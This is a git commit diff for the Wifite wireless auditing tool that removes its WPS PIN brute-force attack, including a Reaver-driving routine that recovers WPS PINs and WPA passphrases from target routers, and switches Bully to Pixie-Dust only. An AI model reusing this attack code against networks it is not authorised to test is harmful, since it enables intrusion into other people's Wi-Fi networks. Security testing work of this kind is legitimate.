Removed WPS PIN attack completely from Wifite.
This commit is contained in:
@@ -236,12 +236,15 @@ class Arguments(object):
|
|||||||
wps.add_argument('--no-wps',
|
wps.add_argument('--no-wps',
|
||||||
action='store_true',
|
action='store_true',
|
||||||
dest='no_wps',
|
dest='no_wps',
|
||||||
help=Color.s('{O}NEVER{W} use WPS attacks (Pixie-Dust, PIN) on WPA networks (default: {G}off{W})'))
|
help=Color.s('{O}NEVER{W} use WPS attacks (Pixie-Dust) on WPA networks (default: {G}off{W})'))
|
||||||
wps.add_argument('--wps-only',
|
wps.add_argument('--wps-only',
|
||||||
action='store_true',
|
action='store_true',
|
||||||
dest='wps_only',
|
dest='wps_only',
|
||||||
help=Color.s('{G}ALWAYS{W} use WPS attacks (Pixie-Dust, PIN) on WPA networks (default: {G}off{W})'))
|
help=Color.s('{G}ALWAYS{W} use WPS attacks (Pixie-Dust) on WPA networks (default: {G}off{W})'))
|
||||||
|
|
||||||
|
# --pixie is IGNORED: PIN attack no longer available in Wifite
|
||||||
wps.add_argument('--pixie',
|
wps.add_argument('--pixie',
|
||||||
|
help=argparse.SUPPRESS,
|
||||||
action='store_true',
|
action='store_true',
|
||||||
dest='pixie_only',
|
dest='pixie_only',
|
||||||
help=Color.s('Only use the WPS Pixie-Dust attack (no PIN) (default: {G}off{W})'))
|
help=Color.s('Only use the WPS Pixie-Dust attack (no PIN) (default: {G}off{W})'))
|
||||||
@@ -259,22 +262,6 @@ class Arguments(object):
|
|||||||
type=int,
|
type=int,
|
||||||
help=Color.s('Time to wait for a step to progress before failing PixieDust attack (default: {G}%d sec{W})')
|
help=Color.s('Time to wait for a step to progress before failing PixieDust attack (default: {G}%d sec{W})')
|
||||||
% Configuration.wps_pixie_step_timeout)
|
% Configuration.wps_pixie_step_timeout)
|
||||||
wps.add_argument('--wpst',
|
|
||||||
action='store',
|
|
||||||
dest='wps_pin_timeout',
|
|
||||||
metavar='[seconds]',
|
|
||||||
type=int,
|
|
||||||
help=Color.s('Time to wait before failing WPS PIN attack (default: {G}%d sec{W})')
|
|
||||||
% Configuration.wps_pin_timeout)
|
|
||||||
wps.add_argument('-wpst', help=argparse.SUPPRESS, action='store', dest='wps_pin_timeout', type=int)
|
|
||||||
wps.add_argument('--wpsmr',
|
|
||||||
action='store',
|
|
||||||
dest='wps_max_retries',
|
|
||||||
metavar='[retries]',
|
|
||||||
type=int,
|
|
||||||
help=Color.s('Maximum number of Retries before failing (default: {G}%d{W})')
|
|
||||||
% Configuration.wps_max_retries)
|
|
||||||
wps.add_argument('-wpsmr', help=argparse.SUPPRESS, action='store', dest='wps_max_retries', type=int)
|
|
||||||
wps.add_argument('--wpsmf',
|
wps.add_argument('--wpsmf',
|
||||||
action='store',
|
action='store',
|
||||||
dest='wps_fail_threshold',
|
dest='wps_fail_threshold',
|
||||||
|
|||||||
14
py/Bully.py
14
py/Bully.py
@@ -12,10 +12,8 @@ from CrackResultWPS import CrackResultWPS
|
|||||||
import os, time, re
|
import os, time, re
|
||||||
from threading import Thread
|
from threading import Thread
|
||||||
|
|
||||||
# TODO: Support Pixie/PIN settings in Configuration
|
|
||||||
|
|
||||||
class Bully(Attack):
|
class Bully(Attack):
|
||||||
def __init__(self, target, pixie=False):
|
def __init__(self, target):
|
||||||
super(Bully, self).__init__(target)
|
super(Bully, self).__init__(target)
|
||||||
self.consecutive_lockouts = self.consecutive_timeouts = self.consecutive_noassoc = 0
|
self.consecutive_lockouts = self.consecutive_timeouts = self.consecutive_noassoc = 0
|
||||||
self.pins_attempted = 0
|
self.pins_attempted = 0
|
||||||
@@ -27,7 +25,6 @@ class Bully(Attack):
|
|||||||
self.crack_result = None
|
self.crack_result = None
|
||||||
|
|
||||||
self.target = target
|
self.target = target
|
||||||
self.pixie = pixie
|
|
||||||
|
|
||||||
self.cmd = [
|
self.cmd = [
|
||||||
"stdbuf", "-o0", # No buffer. See https://stackoverflow.com/a/40453613/7510292
|
"stdbuf", "-o0", # No buffer. See https://stackoverflow.com/a/40453613/7510292
|
||||||
@@ -36,16 +33,15 @@ class Bully(Attack):
|
|||||||
"--channel", target.channel,
|
"--channel", target.channel,
|
||||||
"--detectlock", # Detect WPS lockouts unreported by AP
|
"--detectlock", # Detect WPS lockouts unreported by AP
|
||||||
"--force",
|
"--force",
|
||||||
"-v", "4"
|
"-v", "4",
|
||||||
|
"--pixiewps",
|
||||||
|
Configuration.interface
|
||||||
]
|
]
|
||||||
if self.pixie:
|
|
||||||
self.cmd.append("--pixiewps")
|
|
||||||
self.cmd.append(Configuration.interface)
|
|
||||||
|
|
||||||
self.bully_proc = None
|
self.bully_proc = None
|
||||||
|
|
||||||
def attack_type(self):
|
def attack_type(self):
|
||||||
return "Pixie-Dust" if self.pixie else "PIN Attack"
|
return "Pixie-Dust"
|
||||||
|
|
||||||
def run(self):
|
def run(self):
|
||||||
with Airodump(channel=self.target.channel,
|
with Airodump(channel=self.target.channel,
|
||||||
|
|||||||
@@ -82,11 +82,8 @@ class Configuration(object):
|
|||||||
Configuration.no_wps = False # Do not use WPS attacks (Pixie-Dust & PIN attacks)
|
Configuration.no_wps = False # Do not use WPS attacks (Pixie-Dust & PIN attacks)
|
||||||
Configuration.wps_only = False # ONLY use WPS attacks on non-WEP networks
|
Configuration.wps_only = False # ONLY use WPS attacks on non-WEP networks
|
||||||
Configuration.use_bully = False # Use bully instead of reaver
|
Configuration.use_bully = False # Use bully instead of reaver
|
||||||
Configuration.pixie_only = False # ONLY use Pixie-Dust attack on WPS
|
|
||||||
Configuration.wps_pin_timeout = 600 # Seconds to wait for PIN before WPS PIN attack fails
|
|
||||||
Configuration.wps_pixie_timeout = 300 # Seconds to wait for PIN before WPS Pixie attack fails
|
Configuration.wps_pixie_timeout = 300 # Seconds to wait for PIN before WPS Pixie attack fails
|
||||||
Configuration.wps_pixie_step_timeout = 30 # Seconds to wait for a step to change before pixie fails
|
Configuration.wps_pixie_step_timeout = 30 # Seconds to wait for a step to change before pixie fails
|
||||||
Configuration.wps_max_retries = 20 # Retries before failing
|
|
||||||
Configuration.wps_fail_threshold = 30 # Max number of failures
|
Configuration.wps_fail_threshold = 30 # Max number of failures
|
||||||
Configuration.wps_timeout_threshold = 30 # Max number of timeouts
|
Configuration.wps_timeout_threshold = 30 # Max number of timeouts
|
||||||
Configuration.wps_skip_rate_limit = True # Skip rate-limited WPS APs
|
Configuration.wps_skip_rate_limit = True # Skip rate-limited WPS APs
|
||||||
@@ -214,21 +211,12 @@ class Configuration(object):
|
|||||||
if args.use_bully:
|
if args.use_bully:
|
||||||
Configuration.use_bully = args.use_bully
|
Configuration.use_bully = args.use_bully
|
||||||
Color.pl('{+} {C}option:{W} use {C}bully{W} instead of {C}reaver{W} for WPS Attacks')
|
Color.pl('{+} {C}option:{W} use {C}bully{W} instead of {C}reaver{W} for WPS Attacks')
|
||||||
if args.pixie_only:
|
|
||||||
Configuration.pixie_only = args.pixie_only
|
|
||||||
Color.pl('{+} {C}option:{W} will only use {G}WPS pixie-dust attack{W} on WPS targets')
|
|
||||||
if args.wps_pixie_timeout:
|
if args.wps_pixie_timeout:
|
||||||
Configuration.wps_pixie_timeout = args.wps_pixie_timeout
|
Configuration.wps_pixie_timeout = args.wps_pixie_timeout
|
||||||
Color.pl('{+} {C}option:{W} WPS pixie-dust attack will timeout after {G}%d seconds{W}' % args.wps_pixie_timeout)
|
Color.pl('{+} {C}option:{W} WPS pixie-dust attack will timeout after {G}%d seconds{W}' % args.wps_pixie_timeout)
|
||||||
if args.wps_pixie_step_timeout:
|
if args.wps_pixie_step_timeout:
|
||||||
Configuration.wps_pixie_step_timeout = args.wps_pixie_step_timeout
|
Configuration.wps_pixie_step_timeout = args.wps_pixie_step_timeout
|
||||||
Color.pl('{+} {C}option:{W} Any step in the pixie-dust attack will timeout after {G}%d seconds{W}' % args.wps_pixie_step_timeout)
|
Color.pl('{+} {C}option:{W} Any step in the pixie-dust attack will timeout after {G}%d seconds{W}' % args.wps_pixie_step_timeout)
|
||||||
if args.wps_pin_timeout:
|
|
||||||
Configuration.wps_pin_timeout = args.wps_pin_timeout
|
|
||||||
Color.pl('{+} {C}option:{W} WPS PIN attack will timeout after {G}%d seconds{W}' % args.wps_pin_timeout)
|
|
||||||
if args.wps_max_retries:
|
|
||||||
Configuration.wps_max_retries = args.wps_max_retries
|
|
||||||
Color.pl('{+} {C}option:{W} will stop WPS attack after {G}%d retries{W}' % args.wps_max_retries)
|
|
||||||
if args.wps_fail_threshold:
|
if args.wps_fail_threshold:
|
||||||
Configuration.wps_fail_threshold = args.wps_fail_threshold
|
Configuration.wps_fail_threshold = args.wps_fail_threshold
|
||||||
Color.pl('{+} {C}option:{W} will stop WPS attack after {G}%d failures{W}' % args.wps_fail_threshold)
|
Color.pl('{+} {C}option:{W} will stop WPS attack after {G}%d failures{W}' % args.wps_fail_threshold)
|
||||||
|
|||||||
182
py/Reaver.py
182
py/Reaver.py
@@ -157,188 +157,6 @@ class Reaver(Attack):
|
|||||||
stdout_write.close()
|
stdout_write.close()
|
||||||
return False
|
return False
|
||||||
|
|
||||||
|
|
||||||
def run_wps_pin_attack(self):
|
|
||||||
# Write reaver stdout to file.
|
|
||||||
self.stdout_file = Configuration.temp('reaver.out')
|
|
||||||
if os.path.exists(self.stdout_file):
|
|
||||||
os.remove(self.stdout_file)
|
|
||||||
stdout_write = open(self.stdout_file, 'a')
|
|
||||||
|
|
||||||
# Start reaver process
|
|
||||||
command = [
|
|
||||||
'reaver',
|
|
||||||
'--interface', Configuration.interface,
|
|
||||||
'--bssid', self.target.bssid,
|
|
||||||
'--channel', self.target.channel,
|
|
||||||
'--session', '/dev/null', # Don't restart session
|
|
||||||
'-vv' # verbose
|
|
||||||
]
|
|
||||||
reaver = Process(command, stdout=stdout_write, stderr=Process.devnull())
|
|
||||||
|
|
||||||
self.success = False
|
|
||||||
pins = set()
|
|
||||||
pin_current = 0
|
|
||||||
pin_total = 11000
|
|
||||||
failures = 0
|
|
||||||
state = 'initializing'
|
|
||||||
|
|
||||||
with Airodump(channel=self.target.channel,
|
|
||||||
target_bssid=self.target.bssid,
|
|
||||||
skip_wps=True,
|
|
||||||
output_file_prefix='wps') as airodump:
|
|
||||||
|
|
||||||
Color.clear_line()
|
|
||||||
Color.pattack("WPS", self.target, "PIN Attack", "Waiting for target to appear...")
|
|
||||||
|
|
||||||
while True:
|
|
||||||
try:
|
|
||||||
airodump_target = self.wait_for_target(airodump)
|
|
||||||
except Exception as e:
|
|
||||||
Color.pattack("WPS", self.target, "PIN Attack", "{R}failed: {O}%s{W}" % e)
|
|
||||||
Color.pl("")
|
|
||||||
return False
|
|
||||||
time.sleep(1)
|
|
||||||
percent = 100 * float(pin_current) / float(pin_total)
|
|
||||||
Color.clear_line()
|
|
||||||
status = '{G}%.2f%% done{W}, ' % percent
|
|
||||||
status += '{G}%d{W}/{G}%d pins{W}, ' % (pin_current, pin_total)
|
|
||||||
status += '{R}%d/%d failures{W}' % (failures, Configuration.wps_fail_threshold)
|
|
||||||
Color.pattack("WPS", airodump_target, "PIN Attack", status)
|
|
||||||
|
|
||||||
if failures >= Configuration.wps_fail_threshold:
|
|
||||||
Color.pattack("WPS", airodump_target, "PIN Attack", '{R}failed: {O}too many failures{W}')
|
|
||||||
Color.pl("")
|
|
||||||
break
|
|
||||||
|
|
||||||
# Get output
|
|
||||||
out = self.get_stdout()
|
|
||||||
|
|
||||||
# Clear output file
|
|
||||||
with open(self.stdout_file, 'w'):
|
|
||||||
pass
|
|
||||||
# CHECK FOR CRACK
|
|
||||||
|
|
||||||
(pin, psk, ssid) = Reaver.get_pin_psk_ssid(out)
|
|
||||||
if pin is not None:
|
|
||||||
if psk is None:
|
|
||||||
psk = ''
|
|
||||||
elif ssid is None:
|
|
||||||
ssid = target.essid
|
|
||||||
# We cracked it.
|
|
||||||
self.success = True
|
|
||||||
Color.pl('\n{+} {G}successly cracked WPS PIN and PSK{W}\n')
|
|
||||||
self.crack_result = CrackResultWPS(self.target.bssid, ssid, pin, psk)
|
|
||||||
self.crack_result.dump()
|
|
||||||
break
|
|
||||||
|
|
||||||
|
|
||||||
# PIN PROGRESS
|
|
||||||
|
|
||||||
# Reaver 1.5.*
|
|
||||||
match = None
|
|
||||||
for match in re.finditer('Pin count advanced: (\d+)\\. Max pin attempts: (\d+)', out):
|
|
||||||
# Look at last entry for "Pin count advanced" to get latest pin count
|
|
||||||
pass
|
|
||||||
if match:
|
|
||||||
# Reset failures on successful try
|
|
||||||
failures = 0
|
|
||||||
pin_current = int(match.group(1))
|
|
||||||
pin_total = int(match.group(2))
|
|
||||||
|
|
||||||
# Reaver 1.3, 1.4
|
|
||||||
match = None
|
|
||||||
for match in re.finditer('Trying pin (\d+)', out):
|
|
||||||
if match:
|
|
||||||
pin = int(match.group(1))
|
|
||||||
if pin not in pins:
|
|
||||||
# Reset failures on successful try
|
|
||||||
failures = 0
|
|
||||||
pins.add(pin)
|
|
||||||
pin_current += 1
|
|
||||||
|
|
||||||
# Failures
|
|
||||||
if 'WPS transaction failed' in out:
|
|
||||||
failures += out.count('WPS transaction failed')
|
|
||||||
elif 'Receive timeout occurred' in out:
|
|
||||||
# Reaver 1.4
|
|
||||||
failures += out.count('Receive timeout occurred')
|
|
||||||
|
|
||||||
# Status
|
|
||||||
if 'Waiting for beacon from' in out: state = '{O}waiting for beacon{W}'
|
|
||||||
if 'Starting Cracking Session' in out: state = '{C}cracking{W}'
|
|
||||||
# Reaver 1.4
|
|
||||||
if 'Trying pin' in out and 'cracking' not in state: state = '{C}cracking{W}'
|
|
||||||
|
|
||||||
if 'Detected AP rate limiting' in out:
|
|
||||||
state = '{R}rate-limited{W}'
|
|
||||||
if Configuration.wps_skip_rate_limit:
|
|
||||||
Color.pl(state)
|
|
||||||
Color.pl('{!} {R}hit rate limit, stopping{W}')
|
|
||||||
Color.pl('{!} {O}use {R}--ignore-ratelimit{O} to ignore' +
|
|
||||||
' this kind of failure in the future{W}')
|
|
||||||
break
|
|
||||||
|
|
||||||
if 'WARNING: Failed to associate with' in out:
|
|
||||||
# TODO: Fail after X association failures (instead of just one)
|
|
||||||
Color.pl('\n{!} {R}failed to associate with target, {O}stopping{W}')
|
|
||||||
break
|
|
||||||
|
|
||||||
match = re.search('Estimated Remaining time: ([a-zA-Z0-9]+)', out)
|
|
||||||
if match:
|
|
||||||
eta = match.group(1)
|
|
||||||
state = '{C}cracking, ETA: {G}%s{W}' % eta
|
|
||||||
|
|
||||||
match = re.search('Max time remaining at this rate: ([a-zA-Z0-9:]+)..([0-9]+) pins left to try', out)
|
|
||||||
if match:
|
|
||||||
eta = match.group(1)
|
|
||||||
state = '{C}cracking, ETA: {G}%s{W}' % eta
|
|
||||||
pins_left = int(match.group(2))
|
|
||||||
|
|
||||||
# Divine pin_current & pin_total from this:
|
|
||||||
pin_current = 11000 - pins_left
|
|
||||||
|
|
||||||
# Check if process is still running
|
|
||||||
if reaver.pid.poll() is not None:
|
|
||||||
Color.pl('{R}failed{W}')
|
|
||||||
Color.pl('{!} {R}reaver{O} quit unexpectedly{W}')
|
|
||||||
self.success = False
|
|
||||||
break
|
|
||||||
|
|
||||||
# Output the current state
|
|
||||||
Color.p(state)
|
|
||||||
|
|
||||||
'''
|
|
||||||
[+] Waiting for beacon from AA:BB:CC:DD:EE:FF
|
|
||||||
[+] Associated with AA:BB:CC:DD:EE:FF (ESSID: <essid here>)
|
|
||||||
[+] Starting Cracking Session. Pin count: 0, Max pin attempts: 11000
|
|
||||||
[+] Trying pin 12345670.
|
|
||||||
[+] Pin count advanced: 46. Max pin attempts: 11000
|
|
||||||
[!] WPS transaction failed (code: 0x02), re-trying last pin
|
|
||||||
[!] WPS transaction failed (code: 0x03), re-trying last pin
|
|
||||||
[!] WARNING: Failed to associate with 00:24:7B:AB:5C:EE (ESSID: myqwest0445)
|
|
||||||
[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking
|
|
||||||
[!] WARNING: 25 successive start failures
|
|
||||||
[!] WARNING: Failed to associate with B2:B2:DC:A1:35:94 (ESSID: CenturyLink2217)
|
|
||||||
[+] 0.55% complete. Elapsed time: 0d0h2m21s.
|
|
||||||
[+] Estimated Remaining time: 0d15h11m35s
|
|
||||||
|
|
||||||
[+] Pin cracked in 7 seconds
|
|
||||||
[+] WPS PIN: '12345678'
|
|
||||||
[+] WPA PSK: 'abcdefgh'
|
|
||||||
[+] AP SSID: 'Test Router'
|
|
||||||
|
|
||||||
Reaver 1.4:
|
|
||||||
[+] Max time remaining at this rate: 18:19:36 (10996 pins left to try)
|
|
||||||
[!] WARNING: Receive timeout occurred
|
|
||||||
|
|
||||||
'''
|
|
||||||
|
|
||||||
reaver.interrupt()
|
|
||||||
|
|
||||||
return self.success
|
|
||||||
|
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def get_pin_psk_ssid(stdout):
|
def get_pin_psk_ssid(stdout):
|
||||||
''' Parses WPS PIN, PSK, and SSID from output '''
|
''' Parses WPS PIN, PSK, and SSID from output '''
|
||||||
|
|||||||
Reference in New Issue
Block a user